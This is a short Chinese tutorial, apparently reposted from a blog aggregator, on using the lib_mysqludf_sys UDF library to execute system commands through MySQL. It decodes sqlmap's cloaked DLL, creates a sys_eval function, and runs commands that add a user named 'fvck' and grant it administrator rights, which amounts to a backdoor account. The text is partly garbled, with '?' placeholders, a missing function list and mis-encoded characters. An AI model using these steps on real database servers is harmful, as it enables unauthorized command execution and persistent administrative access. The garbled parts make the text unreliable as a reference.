MySQL利用UDF执行命令
UDF即User-Defined Functions
?
lib_mysqludf_sys 在github的介紹:
A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.
lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme
自動(dòng)化注入工具Sqlmap已經(jīng)集成了此功能。
在 sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
(sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_,但是64位的測(cè)試失敗)
但是sqlmap 中 自帶 的shell 以及一些二進(jìn)制文件,為了防止被誤殺都經(jīng)過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py
目錄 sqlmap\extra\cloak\cloak.py 對(duì) sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解碼后,再直接利用
首先進(jìn)入到 sqlmap\extra\cloak\cloak 目錄下,執(zhí)行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_會(huì)生成 lib_mysqludf_sys.dll
攻擊者可以利用lib_mysqludf_sys提供的函數(shù)執(zhí)行系統(tǒng)命令。
函數(shù):
?
?
目標(biāo)機(jī)以windows為例,MySQL版本為5.6
攻擊過程中,首先需要將lib_mysqludf_sys(目標(biāo)為windows時(shí),lib_mysqludf_sys.dll; linux時(shí),lib_mysqludf_sys.so)上傳到數(shù)據(jù)庫(kù)能訪問的路徑下。
然后創(chuàng)建UDF。
lib_mysqludf_sys.dll的導(dǎo)出路徑:
MySQL<5.0,導(dǎo)出路徑隨意;
5.0 <= MySQL<5.1,則需要導(dǎo)出至目標(biāo)服務(wù)器的系統(tǒng)目錄(如:system32)
MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創(chuàng)建自定義函數(shù)。
創(chuàng)建相應(yīng)的函數(shù):
create function sys_eval returns string soname 'udf.dll';
?
執(zhí)行命令:
select sys_eval('whoami');
select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);
總結(jié)
以上是生活随笔為你收集整理的MySQL利用UDF执行命令的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Javaassist简介
- 下一篇: 某聊天工具消息记录数据库文件解密逆向分析